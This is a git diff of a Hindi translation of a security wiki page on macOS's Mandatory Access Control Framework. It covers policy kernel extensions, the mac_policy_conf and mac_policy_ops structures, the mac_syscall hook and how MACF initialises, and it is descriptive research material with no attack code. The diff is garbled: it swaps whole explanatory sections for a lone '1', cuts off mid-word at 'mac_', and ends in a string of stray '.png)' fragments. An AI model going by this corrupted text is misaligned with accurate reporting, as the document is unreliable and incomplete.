+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md
@@ -4,31 +4,13 @@
## Basic Information
-**MACF** का मतलब है **Mandatory Access Control Framework**, जो एक सुरक्षा प्रणाली है जो ऑपरेटिंग सिस्टम में निर्मित है ताकि आपके कंप्यूटर की सुरक्षा में मदद मिल सके। यह **कठोर नियम निर्धारित करके काम करता है कि कौन या क्या सिस्टम के कुछ हिस्सों, जैसे फ़ाइलें, अनुप्रयोग और सिस्टम संसाधनों, तक पहुँच सकता है।** इन नियमों को स्वचालित रूप से लागू करके, MACF सुनिश्चित करता है कि केवल अधिकृत उपयोगकर्ता और प्रक्रियाएँ विशिष्ट क्रियाएँ कर सकें, जिससे अनधिकृत पहुँच या दुर्भावनापूर्ण गतिविधियों का जोखिम कम होता है।
+**MACF** का मतलब है **Mandatory Access Control Framework**, जो एक सुरक्षा प्रणाली है जो ऑपरेटिंग सिस्टम में निर्मित है ताकि आपके कंप्यूटर की सुरक्षा की जा सके। यह **कठोर नियम निर्धारित करके काम करता है कि कौन या क्या सिस्टम के कुछ हिस्सों, जैसे फ़ाइलें, अनुप्रयोग और सिस्टम संसाधन, तक पहुँच सकता है**। इन नियमों को स्वचालित रूप से लागू करके, MACF सुनिश्चित करता है कि केवल अधिकृत उपयोगकर्ता और प्रक्रियाएँ विशिष्ट क्रियाएँ कर सकें, जिससे अनधिकृत पहुँच या दुर्भावनापूर्ण गतिविधियों का जोखिम कम होता है।
-ध्यान दें कि MACF वास्तव में कोई निर्णय नहीं लेता क्योंकि यह केवल **क्रियाओं को अवरोधित** करता है, यह निर्णय **नीति मॉड्यूल** (कर्नेल एक्सटेंशन) पर छोड़ देता है जिसे यह कॉल करता है जैसे `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext` और `mcxalr.kext`।
+ध्यान दें कि MACF वास्तव में कोई निर्णय नहीं लेता क्योंकि यह केवल **क्रियाओं को अवरुद्ध** करता है, यह निर्णय **नीति मॉड्यूल** (कर्नेल एक्सटेंशन) पर छोड़ देता है जिसे यह कॉल करता है जैसे `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext` और `mcxalr.kext`।
### Flow
-1. प्रक्रिया एक syscall/mach ट्रैप करती है
-2. संबंधित फ़ंक्शन कर्नेल के अंदर कॉल किया जाता है
-3. फ़ंक्शन MACF को कॉल करता है
-4. MACF उन नीति मॉड्यूल की जांच करता है जिन्होंने अपनी नीति में उस फ़ंक्शन को हुक करने के लिए अनुरोध किया था
-5. MACF संबंधित नीतियों को कॉल करता है
-6. नीतियाँ संकेत करती हैं कि वे क्रिया की अनुमति देती हैं या अस्वीकार करती हैं
-
-> [!CAUTION]
-> Apple एकमात्र ऐसा है जो MAC Framework KPI का उपयोग कर सकता है।
-
-### Labels
-
-MACF **लेबल** का उपयोग करता है जिसे फिर नीतियाँ जांचेंगी कि क्या उन्हें कुछ पहुँच प्रदान करनी चाहिए या नहीं। लेबल संरचना की कोड घोषणा [यहाँ](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h) पाई जा सकती है, जिसे फिर **`struct ucred`** के अंदर [**यहाँ**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) **`cr_label`** भाग में उपयोग किया जाता है। लेबल में फ्लैग और **MACF नीतियों द्वारा पॉइंटर्स आवंटित करने के लिए उपयोग किए जा सकने वाले स्लॉट** की संख्या होती है। उदाहरण के लिए, Sandbox कंटेनर प्रोफ़ाइल की ओर इशारा करेगा।
-
-## MACF Policies
-
-एक MACF नीति **कुछ कर्नेल संचालन में लागू करने के लिए नियम और शर्तें परिभाषित करती है।**
-
-एक कर्नेल एक्सटेंशन `mac_policy_conf` संरचना को कॉन्फ़िगर कर सकता है और फिर इसे `mac_policy_register` कॉल करके पंजीकृत कर सकता है। [यहाँ](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html) से:
+1
```c
#define mpc_t struct mac_policy_conf *
@@ -65,11 +47,11 @@ mpc_t mpc_list; /** List reference */
void *mpc_data; /** module data */
};
```
-कर्नेल एक्सटेंशन को पहचानना जो इन नीतियों को कॉन्फ़िगर करते हैं, `mac_policy_register` कॉल की जांच करके आसान है। इसके अलावा, एक्सटेंशन के डिस्सेम्बल की जांच करने पर `mac_policy_conf` स्ट्रक्चर भी पाया जा सकता है।
+कर्नेल एक्सटेंशन को इन नीतियों को कॉन्फ़िगर करते हुए पहचानना आसान है `mac_policy_register` कॉल की जांच करके। इसके अलावा, एक्सटेंशन के डिस्सेम्बल की जांच करने पर `mac_policy_conf` स्ट्रक्चर भी पाया जा सकता है।
ध्यान दें कि MACF नीतियों को **गतिशील** रूप से भी पंजीकृत और अपंजीकृत किया जा सकता है।
-`mac_policy_conf` के मुख्य क्षेत्रों में से एक **`mpc_ops`** है। यह क्षेत्र निर्दिष्ट करता है कि नीति किन ऑपरेशनों में रुचि रखती है। ध्यान दें कि इनमें सैकड़ों हैं, इसलिए सभी को शून्य करना संभव है और फिर केवल उन पर ध्यान केंद्रित करना जो नीति में रुचि रखते हैं। [यहां](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html) से:
+`mac_policy_conf` के मुख्य क्षेत्रों में से एक है **`mpc_ops`**। यह क्षेत्र निर्दिष्ट करता है कि नीति किन ऑपरेशनों में रुचि रखती है। ध्यान दें कि इनमें सैकड़ों हैं, इसलिए सभी को शून्य करना संभव है और फिर केवल उन पर ध्यान केंद्रित करना जो नीति के लिए महत्वपूर्ण हैं। [यहां](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html) से:
```c
struct mac_policy_ops {
mpo_audit_check_postselect_t *mpo_audit_check_postselect;
@@ -82,25 +64,25 @@ mpo_cred_check_label_update_execve_t *mpo_cred_check_label_update_execve;
mpo_cred_check_label_update_t *mpo_cred_check_label_update;
[...]
```
-लगभग सभी हुक्स को MACF द्वारा कॉल बैक किया जाएगा जब इनमें से कोई एक ऑपरेशन इंटरसेप्ट किया जाता है। हालांकि, **`mpo_policy_*`** हुक एक अपवाद हैं क्योंकि `mpo_hook_policy_init()` एक कॉल बैक है जो पंजीकरण पर कॉल किया जाता है (तो `mac_policy_register()` के बाद) और `mpo_hook_policy_initbsd()` लेट पंजीकरण के दौरान कॉल किया जाता है जब BSD सबसिस्टम सही तरीके से प्रारंभ हो चुका होता है।
+लगभग सभी हुक MACF द्वारा वापस बुलाए जाएंगे जब इनमें से कोई एक ऑपरेशन इंटरसेप्ट किया जाता है। हालाँकि, **`mpo_policy_*`** हुक एक अपवाद हैं क्योंकि `mpo_hook_policy_init()` एक कॉलबैक है जो पंजीकरण पर कॉल किया जाता है (तो `mac_policy_register()` के बाद) और `mpo_hook_policy_initbsd()` लेट पंजीकरण के दौरान कॉल किया जाता है जब BSD सबसिस्टम सही ढंग से प्रारंभ हो चुका होता है।
-इसके अलावा, **`mpo_policy_syscall`** हुक को किसी भी kext द्वारा पंजीकृत किया जा सकता है ताकि एक निजी **ioctl** शैली कॉल **इंटरफेस** को उजागर किया जा सके। फिर, एक उपयोगकर्ता क्लाइंट `mac_syscall` (#381) को कॉल कर सकेगा जिसमें **पॉलिसी नाम** के रूप में एक पूर्णांक **कोड** और वैकल्पिक **आर्गुमेंट्स** निर्दिष्ट किए जाएंगे।\
+इसके अलावा, **`mpo_policy_syscall`** हुक को किसी भी kext द्वारा एक निजी **ioctl** शैली कॉल **interface** को उजागर करने के लिए पंजीकृत किया जा सकता है। फिर, एक उपयोगकर्ता क्लाइंट `mac_syscall` (#381) को कॉल कर सकेगा जिसमें **policy name** के रूप में एक पूर्णांक **code** और वैकल्पिक **arguments** निर्दिष्ट किए जाएंगे।\
उदाहरण के लिए, **`Sandbox.kext`** इसका बहुत उपयोग करता है।
-kext के **`__DATA.__const*`** की जांच करके `mac_policy_ops` संरचना की पहचान करना संभव है जो पॉलिसी को पंजीकृत करते समय उपयोग की जाती है। इसे खोजना संभव है क्योंकि इसका पॉइंटर `mpo_policy_conf` के अंदर एक ऑफसेट पर है और साथ ही उस क्षेत्र में NULL पॉइंटर्स की मात्रा के कारण भी।
+kext के **`__DATA.__const*`** की जांच करके `mac_policy_ops` संरचना की पहचान करना संभव है जो नीति को पंजीकृत करते समय उपयोग की जाती है। इसे खोजना संभव है क्योंकि इसका पॉइंटर `mpo_policy_conf` के अंदर एक ऑफसेट पर है और साथ ही उस क्षेत्र में NULL पॉइंटर्स की मात्रा के कारण भी।
-इसके अलावा, यह भी संभव है कि उन kexts की सूची प्राप्त की जाए जिन्होंने एक पॉलिसी को कॉन्फ़िगर किया है, जो कि मेमोरी से संरचना **`_mac_policy_list`** को डंप करके अपडेट की जाती है।
+इसके अलावा, यह भी संभव है कि उन kexts की सूची प्राप्त की जाए जिन्होंने एक नीति को कॉन्फ़िगर किया है, जो कि मेमोरी से संरचना **`_mac_policy_list`** को डंप करके अपडेट की जाती है।
## MACF Initialization
-MACF बहुत जल्दी प्रारंभ होता है। इसे XNU के `bootstrap_thread` में सेट किया जाता है: `ipc_bootstrap` के बाद `mac_policy_init()` को कॉल किया जाता है जो `mac_policy_list` को प्रारंभ करता है और कुछ क्षणों बाद `mac_policy_initmach()` को कॉल किया जाता है। अन्य चीजों के बीच, यह फ़ंक्शन सभी Apple kexts को प्राप्त करेगा जिनकी Info.plist में `AppleSecurityExtension` कुंजी है जैसे `ALF.kext`, `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext` और `TMSafetyNet.kext` और उन्हें लोड करता है।
+MACF बहुत जल्दी प्रारंभ होता है। इसे XNU के `bootstrap_thread` में सेट किया गया है: `ipc_bootstrap` के बाद `mac_policy_init()` को कॉल किया जाता है जो `mac_policy_list` को प्रारंभ करता है और कुछ क्षणों बाद `mac_policy_initmach()` को कॉल किया जाता है। अन्य चीजों के बीच, यह फ़ंक्शन सभी Apple kexts को प्राप्त करेगा जिनकी Info.plist में `AppleSecurityExtension` कुंजी है जैसे `ALF.kext`, `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext` और `TMSafetyNet.kext` और उन्हें लोड करता है।
## MACF Callouts
-कोड में **`#if CONFIG_MAC`** कंडीशनल ब्लॉक्स जैसे MACF के लिए कॉलआउट्स मिलना सामान्य है। इसके अलावा, इन ब्लॉक्स के अंदर `mac_proc_check*` को कॉल करना संभव है जो MACF को **अनुमतियों की जांच** करने के लिए कॉल करता है ताकि कुछ क्रियाएँ की जा सकें। इसके अलावा, MACF कॉलआउट्स का प्रारूप है: **`mac_
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)